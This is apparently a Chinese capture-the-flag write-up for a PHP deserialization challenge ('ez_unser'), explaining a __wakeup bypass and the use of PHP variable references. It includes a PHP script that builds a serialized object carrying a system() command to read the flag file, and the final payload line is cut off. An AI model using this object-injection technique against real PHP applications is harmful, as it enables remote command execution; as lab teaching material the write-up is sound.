跳转至

每日一题 —— [UUCTF 2022 新生赛]ez_unser

题目地址:https://www.nssctf.cn/problem/3095

这是一道 php 的反序列化的题目,一眼看到了 __wakeup 函数,可能跟 php 的 __wakeup 函数绕过有关。看一眼 php 的版本,是 5.6,可以进行绕过。

但是我们继续读题,我们现场是直接构造一个平平无奇的 test 类的序列化字符串上去,并没有发生被过滤的情况。所以我们审计代码,发现它要求必须要有 test":3 的字样。换句话说,我们 __wakeup 绕过的方法是把 test 后面的 3 改为 4 之类的数字,使得数字与参数个数不一致从而不触发 __wakeup 方法的过滤。

现在我们就需要介绍一下 php 的一个特性:变量引用。它的特点有点奇怪,可以看我的这个吐槽,简单来说就是,php 在变量引用之后,两个变量就强绑定了,任意赋值其中一个都会导致另一个发生变化。举个例子:

$e = '123';
$d = &$e;
$d = "hhh";
echo $e; // hhh

那么在这道题里面,我们虽然不可控制 $a 的值,但是我们可以控制 $b 的值,让 $b$a 进行绑定,然后再利用题目的 __destruct 方法里面给 $b 赋值的方法,变相给 $a 赋值我们的 payload。所以我们直接来看我们的 payload:

<?php
class test{
    public $a;
    public $b;
    public $c;
}
$obj = new test();
$obj->b = &$obj->a; // 绑定 $a 和 $b
$obj->c = 'system("cat /fffffffffflagafag");'; // 把 $b 赋值上 payload
$e = serialize($obj);
echo urlencode($e);

经过测试可以看到,我们给 $c 赋值之后,$a 也会被赋值。那么我们只需要传入我们新生成的对象序列化字符串就可以了。最终 payload:

D

文章热度:0次阅读